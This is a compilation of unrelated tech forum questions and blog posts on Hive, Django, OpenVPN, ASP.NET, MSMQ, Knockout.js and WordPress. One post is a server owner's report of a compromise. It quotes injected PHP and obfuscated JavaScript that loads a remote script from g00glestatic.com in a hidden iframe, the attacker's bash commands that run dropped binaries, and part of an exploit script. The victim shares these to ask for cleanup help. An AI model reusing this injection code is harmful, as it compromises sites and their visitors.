• Problem compiling hive with ant

  - by conandor

  I compiling with Solaris 10 SPARC, jdk 1.6 from Sun, Ant 1.7.1 from OpenCSW. I have no problem running hadoop 0.17.2.1 However, I have problem compiling/integrating hive with the error 'cannot find symbol', although I followed the tutorial. I have the hive source code from SVN exactly from tutorial. How can I know the hive version I compiling and how can I compile against hadoop 0.17.2.1? Please advice. Thank you. -bash-3.00$ export PATH=/usr/jdk/instances/jdk1.6.0/bin:/usr/bin:/opt/csw/bin:/opt/webstack/bin -bash-3.00$ export JAVA_HOME=/usr/jdk/instances/jdk1.6.0 -bash-3.00$ export

• How to Remove Header in LaTex

  - by Tim

  Hi, I would like to not show the name of each chapter on the header of its each page. I also like to have nothing in the headers for abstract, acknowledgement, table of content, list of figures and list of tables.

• Mass targeted malware installed - g00glestatic.com [closed]

  - by Silver89

  Possible Duplicate: My server’s been hacked EMERGENCY I run a webserver which over the last few days seems to have become infected with malware that tries to include content from "http://g00glestatic.com/s.js" It appears the attacker gained access to one of the user accounts (not root), made a few changes, added a few files and ran a few bash commands. These changes stuck out clearly to me because it is not a shared server and I am the only person with access through very secure passwords. The php/javascript code that was added .php files, this code was added: #9c282e# if(!$srvc_counter) { echo "<script type=\"text/javascript\" src=\"http://g00glestatic.com/s.js\"></script>"; $srvc_counter = true;} #/9c282e# .js files, this code was added: /*9c282e*/ var _f = document.createElement('iframe'),_r = 'setAttribute'; _f[_r]('src', 'http://g00glestatic.com/s.js'); _f.style.position = 'absolute';_f.style.width = '10px'; _f[_r]('frameborder', navigator.userAgent.indexOf('bf3f1f8686832c30d7c764265f8e7ce8') + 1); _f.style.left = '-5540px'; document.write('<div id=\'MIX_ADS\'></div>'); document.getElementById('MIX_ADS').appendChild(_f); /*/9c282e*/ The bash command taken from .bash_history (Some usernames/passwords have been subbed) su -c id $replacedPassword id; id; sudo id; replacedPassword id; cd /home/replacedUserId1; chmod +x .sess_28e2f1bc755ed3ca48b32fbcb55b91a7; ./.sess_28e2f1bc755ed3ca48b32fbcb55b91a7; rm /home/replacedUserId1/.sess_28e2f1bc755ed3ca48b32fbcb55b91a7; id; cd /home/replacedUserId1; chmod +x .sess_05ee5257fed0ac8e0f12096f4c3c0d20; ./.sess_05ee5257fed0ac8e0f12096f4c3c0d20; rm /home/replacedUserId1/.sess_05ee5257fed0ac8e0f12096f4c3c0d20; id; cd /home/replacedUserId1; chmod +x .sess_bfa542fc2578cce68eb373782c5689b9; ./.sess_bfa542fc2578cce68eb373782c5689b9; rm /home/replacedUserId1/.sess_bfa542fc2578cce68eb373782c5689b9; id; cd /home/replacedUserId1; chmod +x .sess_bfa542fc2578cce68eb373782c5689b9; ./.sess_bfa542fc2578cce68eb373782c5689b9; rm /home/replacedUserId1/.sess_bfa542fc2578cce68eb373782c5689b9; id; cd /home/replacedUserId1; chmod +x .sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; ./.sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; rm /home/replacedUserId1/.sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; id; kill -9 $$;; kill -9 $$;; kill -9 $$; The above seems to move files added to the public_html to the level above? I also have all 4 of the files that were added: .sess_28e2f1bc755ed3ca48b32fbcb55b91a7 .sess_05ee5257fed0ac8e0f12096f4c3c0d20 .sess_bfa542fc2578cce68eb373782c5689b9 .sess_fb19dfb52ed4a3ae810cd4454ac6ef1e Of those four above files, three are none viewable in notepad++ and display null characters, whereas sess_fb19dfb52ed4a3ae810cd4454ac6ef1e consists of: #!/bin/sh export PATH=$PATH:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/bin; export LC_ALL=en_US.UTF-8 LC_COLLATE=en_US.UTF-8 LC_CTYPE=en_US.UTF-8 LANG=en_US.UTF-8 LANGUAGE=en_US.UTF-8 export TERM=linux echo -n "-> checking staprun: "; if which staprun 2>&1 | grep -q "no $1"; then flag=1 elif [ -z "`which $1 2>&1`" ]; then flag=1; fi if [ "$flag" = "1" ]; then echo "no staprun, exiting"; exit; else echo "found"; echo "-> trying to exploit...

What else do I need to look for to check the malware infection has not spread? Second Conclusion This malware sinks too deep to 'clean', if you get infected I recommend a server nuke and rebuild from backups with increased security. Possibility It's possible that Filezilla ftp passwords were stolen through a trojan as they're unfortunately stored unencrypted. However Trend Micro Titanium has not found any. The settings box to disable passwords being saved has now been ticked, I also recommend that you take this action.

• Django manager for _set in model

  - by Daniel Johansson

  Hello, I'm in the progress of learning Django at the moment but I can't figure out how to solve this problem on my own. I'm reading the book Developers Library - Python Web Development With Django and in one chapter you build a simple CMS system with two models (Story and Category), some generic and custom views together with templates for the views. The book only contains code for listing stories, story details and search. I wanted to expand on that and build a page with nested lists for categories and stories. - Category1 -- Story1 -- Story2 - Category2 - Story3 etc. I managed to figure out how to add my own generic object_list view for the category listing. My problem is that the Story model have STATUS_CHOICES if the Story is public or not and a custom manager that'll only fetch the public Stories per default. I can't figure out how to tell my generic Category list view to also use a custom manager and only fetch the public Stories. Everything works except that small problem. I'm able to create a list for all categories with a sub list for all stories in that category on a single page, the only problem is that the list contains non public Stories. I don't know if I'm on the right track here. My urls.py contains a generic view that fetches all Category objects and in my template I'm using the *category.story_set.all* to get all Story objects for that category, wich I then loop over. I think it would be possible to add a if statement in the template and use the VIEWABLE_STATUS from my model file to check if it should be listed or not. The problem with that solution is that it's not very DRY compatible. Is it possible to add some kind of manager for the Category model too that only will fetch in public Story objects when using the story_set on a category? Or is this the wrong way to attack my problem? Related code urls.py (only category list view): urlpatterns += patterns('django.views.generic.list_detail', url(r'^categories/$', 'object_list', {'queryset': Category.objects.all(), 'template_object_name': 'category' }, name='cms-categories'), models.py: from markdown import markdown import datetime from django.db import models from django.db.models import permalink from django.contrib.auth.models import User VIEWABLE_STATUS = [3, 4] class ViewableManager(models.Manager): def get_query_set(self): default_queryset = super(ViewableManager, self).get_query_set() return default_queryset.filter(status__in=VIEWABLE_STATUS) class Category(models.Model): """A content category""" label = models.CharField(blank=True, max_length=50) slug = models.SlugField() class Meta: verbose_name_plural = "categories" def __unicode__(self): return self.label @permalink def get_absolute_url(self): return ('cms-category', (), {'slug': self.slug}) class Story(models.Model): """A hunk of content for our site, generally corresponding to a page""" STATUS_CHOICES = ( (1, "Needs Edit"), (2, "Needs Approval"), (3, "Published"), (4, "Archived"), ) title = models.CharField(max_length=100) slug = models.SlugField() category = models.ForeignKey(Category) markdown_content = models.TextField() html_content = models.TextField(editable=False) owner = models.ForeignKey(User) status = models.IntegerField(choices=STATUS_CHOICES, default=1) created = models.DateTimeField(default=datetime.datetime.now) modified = models.DateTimeField(default=datetime.datetime.now) class Meta: ordering = ['modified'] verbose_name_plural = "stories" def __unicode__(self): return self.title @permalink def get_absolute_url(self): return ("cms-story", (), {'slug': self.slug}) def save(self): self.html_content = markdown(self.markdown_content) self.modified = datetime.datetime.now() super(Story, self).save() admin_objects = models.Manager() objects = ViewableManager() category_list.html (related template): {% extends "cms/base.html" %} {% block content %} <h1>Categories</h1> {% if category_list %} <ul id="category-list"> {% for category in category_list %} <li><a href="{{ category.get_absolute_url }}">{{ category.label }}</a></li> {% if category.story_set %} <ul> {% for story in category.story_set.all %} <li><a href="{{ story.get_absolute_url }}">{{ story.title }}</a></li> {% endfor %} </ul> {% endif %} {% endfor %} </ul> {% else %} <p> Sorry, no categories at the moment. </p> {% endif %} {% endblock %}

• Connecting a LAN to an OpenVPN server via a windows 7 client gateway

  - by user705142

  I've got OpenVPN set up between my windows 7 client and linux server. The goal is that I'll get secure access to a webapp running on the server from any computer on the client LAN. I'm using ccd to assign static ip addresses to each client connection, with key authentication. It's working on my client machine (10.83.41.9), and when you go to the gateway IP address (10.83.41.1), it loads up the webapp. Now I really need the other computers on the client LAN to be able to connect to the webapp as well, via the windows machine. The client has a static IP address of 192.168.2.100 on the LAN, and I've enabled IP forwarding in windows (confirmed by ipconfig /all). In my router I've forwarded 10.83.41.1 / 255.255.255.255 to 192.168.2.100. In server.conf I have.. route 192.168.2.0 255.255.255.0 And in the office ccd.. ifconfig-push 10.83.41.9 10.83.41.10 iroute 192.168.2.0 255.255.255.0 The client log is as follows: Thu Mar 15 20:19:56 2012 OpenVPN 2.2.2 Win32-MSVC++ [SSL] [LZO2] [PKCS11] built on Dec 15 2011 Thu Mar 15 20:19:56 2012 NOTE: OpenVPN 2.1 requires '--script-security 2' or higher to call user-defined scripts or executables Thu Mar 15 20:19:56 2012 Control Channel Authentication: using 'ta.key' as a OpenVPN static key file Thu Mar 15 20:19:56 2012 Outgoing Control Channel Authentication: Using 160 bit message hash 'SHA1' for HMAC authentication Thu Mar 15 20:19:56 2012 Incoming Control Channel Authentication: Using 160 bit message hash 'SHA1' for HMAC authentication Thu Mar 15 20:19:56 2012 LZO compression initialized Thu Mar 15 20:19:56 2012 Control Channel MTU parms [ L:1558 D:166 EF:66 EB:0 ET:0 EL:0 ] Thu Mar 15 20:19:56 2012 Socket Buffers: R=[8192->8192] S=[64512->64512] Thu Mar 15 20:19:56 2012 Data Channel MTU parms [ L:1558 D:1450 EF:58 EB:135 ET:0 EL:0 AF:3/1 ] Thu Mar 15 20:19:56 2012 Local Options hash (VER=V4): '9e7066d2' Thu Mar 15 20:19:56 2012 Expected Remote Options hash (VER=V4): '162b04de' Thu Mar 15 20:19:56 2012 UDPv4 link local: [undef] Thu Mar 15 20:19:56 2012 UDPv4 link remote: 111.65.224.202:1194 Thu Mar 15 20:19:56 2012 TLS: Initial packet from 111.65.224.202:1194, sid=ceb04c22 8cc6d151 Thu Mar 15 20:19:56 2012 VERIFY OK: depth=1, /C=NZ/O=XXX./CN=XXX Thu Mar 15 20:19:56 2012 VERIFY OK: nsCertType=SERVER Thu Mar 15 20:19:56 2012 VERIFY OK: depth=0, /C=NZ/O=XXX./CN=XXX Thu Mar 15 20:19:56 2012 Replay-window backtrack occurred [1] Thu Mar 15 20:19:56 2012 Data Channel Encrypt: Cipher 'AES-256-CBC' initialized with 256 bit key Thu Mar 15 20:19:56 2012 Data Channel Encrypt: Using 160 bit message hash 'SHA1' for HMAC authentication Thu Mar 15 20:19:56 2012 Data Channel Decrypt: Cipher 'AES-256-CBC' initialized with 256 bit key Thu Mar 15 20:19:56 2012 Data Channel Decrypt: Using 160 bit message hash 'SHA1' for HMAC authentication Thu Mar 15 20:19:56 2012 Control Channel: TLSv1, cipher TLSv1/SSLv3 DHE-RSA-AES256-SHA, 1024 bit RSA Thu Mar 15 20:19:56 2012 [server] Peer Connection Initiated with 111.65.224.202:1194 Thu Mar 15 20:19:58 2012 SENT CONTROL [server]: 'PUSH_REQUEST' (status=1) Thu Mar 15 20:19:59 2012 PUSH: Received control message: 'PUSH_REPLY,route 10.83.41.1,topology net30,ping 10,ping-restart 120,ifconfig 10.83.41.9 10.83.41.10' Thu Mar 15 20:19:59 2012 OPTIONS IMPORT: timers and/or timeouts modified Thu Mar 15 20:19:59 2012 OPTIONS IMPORT: --ifconfig/up options modified Thu Mar 15 20:19:59 2012 OPTIONS IMPORT: route options modified Thu Mar 15 20:19:59 2012 ROUTE default_gateway=192.168.2.1 Thu Mar 15 20:19:59 2012 TAP-WIN32 device [OpenVPN] opened: \\.\Global\{B32D85C9-1942-42E2-80BA-7E0B5BB5185F}.tap Thu Mar 15 20:19:59 2012 TAP-Win32 Driver Version 9.9 Thu Mar 15 20:19:59 2012 TAP-Win32 MTU=1500 Thu Mar 15 20:19:59 2012 Notified TAP-Win32 driver to set a DHCP IP/netmask of 10.83.41.9/255.255.255.252 on interface {B32D85C9-1942-42E2-80BA-7E0B5BB5185F} [DHCP-serv: 10.83.41.10, lease-time: 31536000] Thu Mar 15 20:19:59 2012 Successful ARP Flush on interface [45] {B32D85C9-1942-42E2-80BA-7E0B5BB5185F} Thu Mar 15 20:20:04 2012 TEST ROUTES: 1/1 succeeded len=1 ret=1 a=0 u/d=up Thu Mar 15 20:20:04 2012 C:\WINDOWS\system32\route.exe ADD 10.83.41.1 MASK 255.255.255.255 10.83.41.10 Thu Mar 15 20:20:04 2012 ROUTE: CreateIpForwardEntry succeeded with dwForwardMetric1=30 and dwForwardType=4 Thu Mar 15 20:20:04 2012 Route addition via IPAPI succeeded [adaptive] Thu Mar 15 20:20:04 2012 Initialization Sequence Completed From the other machines I can ping 192.169.2.100, but not 10.83.41.1.

Ideally this would be achieved without any special configuration the other LAN computers. Not sure how far I'm going to get on my own at this point, any ideas? Is there something I'm missing, or anything I should need to know?

• OpenVPN stopped working, what could have happened?

  - by jaja

  I have Openvpn, and it worked great when I used it on PC (Windows 8), then I copied all files (Certificates and config) to an Android 4 phone to use them. Now, Openvpn works on the phone, but not the PC. Specifically, when I open Google I get: The server at www.google.com can't be found, because the DNS lookup failed, but the VPN seems to be connected. I have a simple question, could the problem be because I copied the same files?

• usb wifi dongle on ubuntu server, cannot install realtek driver RTL 8188cus

  - by Sandro Dzneladze

  I got cheap Ebay wifi dongle from HongKong, Im trying to set it up on my ubuntu server. Occasionally need to move server, so it cannot always be connected to router via lan. Anyhow, usb wifi came with a driver cd. I uploaded files to my home directory and tried to run install script (RTL 8188cus): sudo bash install.sh But I get error: Authentication requested [root] for make driver: make ARCH=x86_64 CROSS_COMPILE= -C /lib/modules/2.6.38-8-server/build M=/home/minime/RTL 8188cus/Linux/driver/rtl8192CU_linux_v2.0.1324.20110126 modules make[1]: Entering directory `/usr/src/linux-headers-2.6.38-8-server' make[1]: *** No rule to make target `8188cus/Linux/driver/rtl8192CU_linux_v2.0.1324.20110126'.

There is another driver folder for linux called: RTL 81XX, which doesn't have install.sh at all! I tried to use make command, but I get: make: *** No targets specified and no makefile found. Stop. Any help? this is first time I'm installing driver from source.

• Fake ISAPI Handler to serve static files with extention that are rewritted by url rewriter

  - by developerit

  Introduction I often map html extention to the asp.net dll in order to use url rewritter with .html extentions. Recently, in the new version of www.nouvelair.ca, we renamed all urls to end with .html. This works great, but failed when we used FCK Editor. Static html files would not get serve because we mapped the html extension to the .NET Framework. We can we do to to use .html extension with our rewritter but still want to use IIS behavior with static html files. Analysis I thought that this could be resolve with a simple HTTP handler. We would map urls of static files in our rewriter to this handler that would read the static file and serve it, just as IIS would do. Implementation This is how I coded the class. Note that this may not be bullet proof. I only tested it once and I am sure that the logic behind IIS is more complicated that this. If you find errors or think of possible improvements, let me know. Imports System.Web Imports System.Web.Services ' Author: Nicolas Brassard ' For: Solutions Nitriques inc. http://www.nitriques.com ' Date Created: April 18, 2009 ' Last Modified: April 18, 2009 ' License: CPOL (http://www.codeproject.com/info/cpol10.aspx) ' Files: ISAPIDotNetHandler.ashx ' ISAPIDotNetHandler.ashx.vb ' Class: ISAPIDotNetHandler ' Description: Fake ISAPI handler to serve static files. ' Usefull when you want to serve static file that has a rewrited extention. ' Example: It often map html extention to the asp.net dll in order to use url rewritter with .html. ' If you want to still serve static html file, add a rewritter rule to redirect html files to this handler Public Class ISAPIDotNetHandler Implements System.Web.IHttpHandler Sub ProcessRequest(ByVal context As HttpContext) Implements IHttpHandler.ProcessRequest ' Since we are doing the job IIS normally does with html files, ' we set the content type to match html. ' You may want to customize this with your own logic, if you want to serve ' txt or xml or any other text file context.Response.ContentType = "text/html" ' We begin a try here. Any error that occurs will result in a 404 Page Not Found error. ' We replicate the behavior of IIS when it doesn't find the correspoding file. Try ' Declare a local variable containing the value of the query string Dim uri As String = context.Request("fileUri") ' If the value in the query string is null, ' throw an error to generate a 404 If String.IsNullOrEmpty(uri) Then Throw New ApplicationException("No fileUri") End If ' If the value in the query string doesn't end with .html, then block the acces ' This is a HUGE security hole since it could permit full read access to .aspx, .config, etc. If Not uri.ToLower.EndsWith(".html") Then ' throw an error to generate a 404 Throw New ApplicationException("Extention not allowed") End If ' Map the file on the server. ' If the file doesn't exists on the server, it will throw an exception and generate a 404. Dim fullPath As String = context.Server.MapPath(uri) ' Read the actual file Dim stream As IO.StreamReader = FileIO.FileSystem.OpenTextFileReader(fullPath) ' Write the file into the response context.Response.Output.Write(stream.ReadToEnd) ' Close and Dipose the stream stream.Close() stream.Dispose() stream = Nothing Catch ex As Exception ' Set the Status Code of the response context.Response.StatusCode = 404 'Page not found ' For testing and bebugging only ! This may cause a security leak ' context.Response.Output.Write(ex.Message) Finally ' In all cases, flush and end the response context.Response.Flush() context.Response.End() End Try End Sub ' Automaticly generated by Visual Studio ReadOnly Property IsReusable() As Boolean Implements IHttpHandler.IsReusable Get Return False End Get End Property End Class Conclusion As you see, with our static files map to this handler using query string (ex.: /ISAPIDotNetHandler.ashx?fileUri=index.html) you will have the same behavior as if you ask for the uri /index.html. Finally, test this only in IIS with the html extension map to aspnet_isapi.dll. Url rewritting will work in Casini (Internal Web Server shipped with Visual Studio) but it’s not the same as with IIS since EVERY request is handle by .NET. Versions First release

• MSMQ messages using HTTP just won't get delivered

  - by John Breakwell

  I'm starting off the blog with a discussion of an unusual problem that has hit a couple of my customers this month. It's not a problem you'd expect to bump into and the solution is potentially painful. Scenario You want to make use of the HTTP protocol to send MSMQ messages from one machine to another. You have installed HTTP support for MSMQ and have addressed your messages correctly but they will not leave the outgoing queue. There is no configuration for HTTP support - setup has already done all that for you (although you may want to check the most recent "Installation of the MSMQ HTTP Support Subcomponent" section of MSMQINST.LOG to see if anything DID go wrong) - so you can't tweak anything. Restarting services and servers makes no difference - the messages just will not get delivered. The problem is documented and resolved by Knowledgebase article 916699 "The message may not be delivered when you use the HTTP protocol to send a message to a server that is running Message Queuing 3.0". It is unlikely that you would be able to resolve the problem without the assistance of PSS because there are no messages that can be seen to assist you and only access to the source code exposes the root cause. As this communication is over HTTP, the IIS logs would be a good place to start. POST entries are logged which show that connectivity is working and message delivery is being attempted: #Software: Microsoft Internet Information Services 6.0 #Version: 1.0 #Date: 2006-09-12 12:11:29 #Fields: date time s-sitename s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) sc-status sc-substatus sc-win32-status 2006-09-12 12:12:12 W3SVC1 10.1.17.219 POST /msmq/private$/test - 80 - 10.2.200.3 - 200 0 0 If you capture the traffic with Network Monitor you can see the POST being sent to the server but you also see a response being returned to the client: HTTP: Response to Client; HTTP/1.1; Status Code = 500 - Internal Server Error "Internal Server Error" means we can probably stop looking at IIS and instead focus on the Message Queuing ISAPI extension (Mqise.dll). MSMQ 3.0 (Windows XP and Windows Server 2003) comes with error logging enabled by default but the log files are in binary format - MSMQ 2.0 generated logging in plain text. The symbolic information needed for formatting the files is not currently publicly available so log files have to be sent in to Microsoft PSS.  Although this does mean raising a support case, formatting the log files to text and returning them to the customer shouldn't take long. Obviously the engineer analyses them for you - I just want to point out that you can see the logging output in text format if you want it. The important entries in the log for this problem are: [7]b48.928 09/12/2006-13:20:44.552 [mqise GetNetBiosNameFromIPAddr] ERROR:Failed to get the NetBios name from the DNS name, error = 0xea [7]b48.928 09/12/2006-13:20:44.552 [mqise RPCToServer] ERROR:RPC call R_ProcessHTTPRequest failed, error code = 1702(RPC_S_INVALID_BINDING) which allow a Microsoft escalation engineer to check the MQISE source code to see what is going wrong. This problem according to the article occurs when the extension tries to bind to the local MSMQ service after the extension receives a POST request that contains an MSMQ message. MSMQ resolves the server name by using the DNS host name but the extension cannot bind to the service because the buffer that MSMQ uses to resolve the server name is too small - server names that are exactly 15 characters long will not fit. RPC exception 0x6a6 (RPC_S_INVALID_BINDING) occurs in the W3wp.exe process but the exception is handled and so you do not receive an error message. The workaround is to rename the MSMQ server to something less than 15 characters. If the problem has only just been noticed in a production environment - an application may have been modified to get through a newly-implemented firewall, for example - then renaming is going to be an issue. Other applications may need to be reinstalled or modified if server names are hard-coded or stored in the registry. The renaming may also break a company naming convention where the name is built up from something like location+department+number. If you want to learn more about MSMQ logging then check out Chapter 15 of the MSMQ FAQ. In fact, even if you DON'T want to learn anything about MSMQ logging you should read the FAQ anyway as there is a huge amount of useful information on known issues and the like.

• Knockout.js - Filtering, Sorting, and Paging

  - by jtimperley

  Originally posted on: http://geekswithblogs.net/jtimperley/archive/2013/07/28/knockout.js---filtering-sorting-and-paging.aspxKnockout.js is fantastic! Maybe I missed it but it appears to be missing flexible filtering, sorting, and pagination of its grids. This is a summary of my attempt at creating this functionality which has been working out amazingly well for my purposes. Before you continue, this post is not intended to teach you the basics of Knockout. They have already created a fantastic tutorial for this purpose. You'd be wise to review this before you continue. http://learn.knockoutjs.com/ Please view the full source code and functional example on jsFiddle. Below you will find a brief explanation of some of the components. http://jsfiddle.net/JTimperley/pyCTN/13/ First we need to create a model to represent our records. This model is a simple container with defined and guaranteed members. function CustomerModel(data) { if (!data) { data = {}; } var self = this; self.id = data.id; self.name = data.name; self.status = data.status; } Next we need a model to represent the page as a whole with an array of the previously defined records. I have intentionally overlooked the filtering and sorting options for now. Note how the filtering, sorting, and pagination are chained together to accomplish all three goals. This strategy allows each of these pieces to be used selectively based on the page's needs. If you only need sorting, just sort, etc. function CustomerPageModel(data) { if (!data) { data = {}; } var self = this; self.customers = ExtractModels(self, data.customers, CustomerModel); var filters = […]; var sortOptions = […]; self.filter = new FilterModel(filters, self.customers); self.sorter = new SorterModel(sortOptions, self.filter.filteredRecords); self.pager = new PagerModel(self.sorter.orderedRecords); } The code currently supports text box and drop down filters. Text box filters require defining the current 'Value' and the 'RecordValue' function to retrieve the filterable value from the provided record. Drop downs allow defining all possible values, the current option, and the 'RecordValue' as before. Once defining these filters, they are automatically added to the screen and any changes to their values will automatically update the results, causing their sort and pagination to be re-evaluated. var filters = [ { Type: "text", Name: "Name", Value: ko.observable(""), RecordValue: function(record) { return record.name; } }, { Type: "select", Name: "Status", Options: [ GetOption("All", "All", null), GetOption("New", "New", true), GetOption("Recently Modified", "Recently Modified", false) ], CurrentOption: ko.observable(), RecordValue: function(record) { return record.status; } } ]; Sort options are more simplistic and are also automatically added to the screen. Simply provide each option's name and value for the sort drop down as well as function to allow defining how the records are compared. This mechanism can easily be adapted for using table headers as the sort triggers. That strategy hasn't crossed my functionality needs at this point. var sortOptions = [ { Name: "Name", Value: "Name", Sort: function(left, right) { return CompareCaseInsensitive(left.name, right.name); } } ]; Paging options are completely contained by the pager model. Because we will be chaining arrays between our filtering, sorting, and pagination models, the following utility method is used to prevent errors when handing an observable array to another observable array. function GetObservableArray(array) { if (typeof(array) == 'function') { return array; }   return ko.observableArray(array); }

• PC hangs and reboots from time to time

  - by Bevor

  Hello, I have a very strange problem: Since I have my new PC, I have always had problems with it. From time to time the computer freezes for some seconds and suddendly reboots by itself. I've had this problem since Ubuntu 9.10. The same with 10.04 and 10.10. That's why I don't think it's a software failure because the problem persist too long. It doesn't have anything to do with what I'm doing at this time. Sometimes I listen to music, sometimes I only use Firefox, sometimes I'm running 2 or 3 VMs, sometimes I watch DVD. So it's not isolatable. I could freeze once a day or once a week. I put the PC to the vendor twice(!). The first time they changed my power supply but the problem persisted. The second time they told me that they made some heavy performance tests 50 hours long but they didn't find anything. (How can that be that I have daily freezes with normal usage). The vendor didn't check the hard discs because they used their own disc with Windows. (So they never checked the Linux installation). Yesterday I made some intensive hard disc scans with "SMART" but no errors were found. I ran memtest for 3 times but no errors found. I already had this problem in my old flat, so I doubt that I has something to do with current fluctuation. I already tried another electrical socket and changed to connector strip but the problem persists. At the moment I removed 2 of the RAMs (2x 2GB). In all I have 6GB, 2x2GB and 2x1GB. Could this difference maybe be a problem? Here is a list of my components. I hope that anybody find something I didn't think about yet.

• SQL SERVER – DQS Error – Cannot connect to server – A .NET Framework error occurred during execution of user-defined routine or aggregate “SetDataQualitySessions” – SetDataQualitySessionPhaseTwo

  - by pinaldave

  Earlier I wrote a blog post about how to install DQS in SQL Server 2012. Today I decided to write a second part of this series where I explain how to use DQS, however, as soon as I started the DQS client, I encountered an error that will not let me pass through and connect with DQS client. It was a bit strange to me as everything was functioning very well when I left it last time.  The error was very big but here are the first few words of it. Cannot connect to server. A .NET Framework error occurred during execution of user-defined routine or aggregate “SetDataQualitySessions”: System.Data.SqlClient.SqlException (0×80131904): A .NET Framework error occurred during execution of user-defined routine or aggregate “SetDataQualitySessionPhaseTwo”: The error continues – here is the quick screenshot of the error. As my initial attempts could not fix the error I decided to search online and I finally received a wonderful solution from Microsoft Site. The error has happened due to latest update I had installed on .NET Framework 4. There was a  mismatch between the Module Version IDs (MVIDs) of the SQL Common Language Runtime (SQLCLR) assemblies in the SQL Server 2012 database and the Global Assembly Cache (GAC). This mismatch was to be resolved for the DQS to work properly. The workaround is specified here in detail. Scroll to subtopic 4.23 Some .NET Framework 4 Updates Might Cause DQS to Fail. The script was very much straight forward. Here are the few things to not to miss while applying workaround. Make sure DQS client is properly closed The NETAssemblies is based on your OS. NETAssemblies for 64 bit machine – which is my machine is “c:\windows\Microsoft.NET\Framework64\v4.0.30319″. If you have Winodws installed on any other drive other than c:\windows do not forget to change that in the above path.

• ASP.NET MVC CRUD Validation

  - by Ricardo Peres

  One thing I didn’t refer on my previous post on ASP.NET MVC CRUD with AJAX was how to retrieve model validation information into the client. We want to send any model validation errors to the client in the JSON object that contains the ProductId, RowVersion and Success properties, specifically, if there are any errors, we will add an extra Errors collection property. Here’s how: 1: [HttpPost] 2: [AjaxOnly] 3: [Authorize] 4: public JsonResult Edit(Product product) 5: { 6: if (this.ModelState.IsValid == true) 7: { 8: using (ProductContext ctx = new ProductContext()) 9: { 10: Boolean success = false; 11:  12: ctx.Entry(product).State = (product.ProductId == 0) ? EntityState.Added : EntityState.Modified; 13:  14: try 15: { 16: success = (ctx.SaveChanges() == 1); 17: } 18: catch (DbUpdateConcurrencyException) 19: { 20: ctx.Entry(product).Reload(); 21: } 22:  23: return (this.Json(new { Success = success, ProductId = product.ProductId, RowVersion = Convert.ToBase64String(product.RowVersion) })); 24: } 25: } 26: else 27: { 28: Dictionary<String, String> errors = new Dictionary<String, String>(); 29:  30: foreach (KeyValuePair<String, ModelState> keyValue in this.ModelState) 31: { 32: String key = keyValue.Key; 33: ModelState modelState = keyValue.Value; 34:  35: foreach (ModelError error in modelState.Errors) 36: { 37: errors[key] = error.ErrorMessage; 38: } 39: } 40:  41: return (this.Json(new { Success = false, ProductId = 0, RowVersion = String.Empty, Errors = errors })); 42: } 43: } As for the view, we need to change slightly the onSuccess JavaScript handler on the Single view: 1: function onSuccess(ctx) 2: { 3: if (typeof (ctx.Success) != 'undefined') 4: { 5: $('input#ProductId').val(ctx.ProductId); 6: $('input#RowVersion').val(ctx.RowVersion); 7:  8: if (ctx.Success == false) 9: { 10: var errors = ''; 11:  12: if (typeof (ctx.Errors) != 'undefined') 13: { 14: for (var key in ctx.Errors) 15: { 16: errors += key + ': ' + ctx.Errors[key] + '\n'; 17: } 18:  19: window.alert('An error occurred while updating the entity: the model contained the following errors.\n\n' + errors); 20: } 21: else 22: { 23: window.alert('An error occurred while updating the entity: it may have been modified by third parties. Please try again.'); 24: } 25: } 26: else 27: { 28: window.alert('Saved successfully'); 29: } 30: } 31: else 32: { 33: if (window.confirm('Not logged in. Login now?') == true) 34: { 35: document.location.href = '<% 1: : FormsAuthentication.LoginUrl %>?ReturnURL=' + document.location.pathname; 36: } 37: } 38: } The logic is as this: If the Edit action method is called for a new entity (the ProductId is 0) and it is valid, the entity is saved, and the JSON results contains a Success flag set to true, a ProductId property with the database-generated primary key and a RowVersion with the server-generated ROWVERSION; If the model is not valid, the JSON result will contain the Success flag set to false and the Errors collection populated with all the model validation errors; If the entity already exists in the database (ProductId not 0) and the model is valid, but the stored ROWVERSION is different that the one on the view, the result will set the Success property to false and will return the current (as loaded from the database) value of the ROWVERSION on the RowVersion property. On a future post I will talk about the possibilities that exist for performing model validation, stay tuned!

• WordPress not resizing images with Nginx + php-fpm and other issues

  - by Julian Fernandes

  Recently i setup a Ubuntu 12.04 VPS with 512mb/1ghz CPU, Nginx + php-fpm + Varnish + APC + Percona's MySQL server + CloudFlare Pro for our Ubuntu LoCo Team's WordPress blog. The blog get about 3~4k daily hits, use about 180MB and 8~20% CPU. Everything seems to be working insanely fast... page load is really good and is about 16x faster than any of our competitors... but there is one problem. When we upload a image, WordPress don't resize it, so all we can do it insert the full image in the post. If the imagem have, let's say, 30kb, it resize fine... but if the image have 100kb+, it won't... In nginx error logs i see this: upstream timed out (110: Connection timed out) while reading response header from upstream, client: 150.162.216.64, server: www.ubuntubrsc.com, request: "POST /wp-admin/async-upload.php HTTP/1.1", upstream: "fastcgi://unix:/var/run/php5-fpm.sock:", host: "www.ubuntubrsc.com", referrer: "http://www.ubuntubrsc.com/wp-admin/media-upload.php?post_id=2668&" It seems to be related with the issue, but i dunno. When that timeout happens, i started to get it when i'm trying to view a post too: upstream timed out (110: Connection timed out) while reading response header from upstream, client: 150.162.216.64, server: www.ubuntubrsc.com, request: "GET /tutoriais-gimp-6-adicionando-aplicando-novos-pinceis.html HTTP/1.1", upstream: "fastcgi://unix:/var/run/php5-fpm.sock:", host: "www.ubuntubrsc.com", referrer: "http://www.ubuntubrsc.com/" And only a restart of php5-fpm fix it. I tryed increasing some timeouts and stuffs but it did not worked, so i guess it's some kind of limitation i did not figured yet.

Sorry for my bad english and thanks for your time people! (:

• Hidden exceptions

  - by user12617285

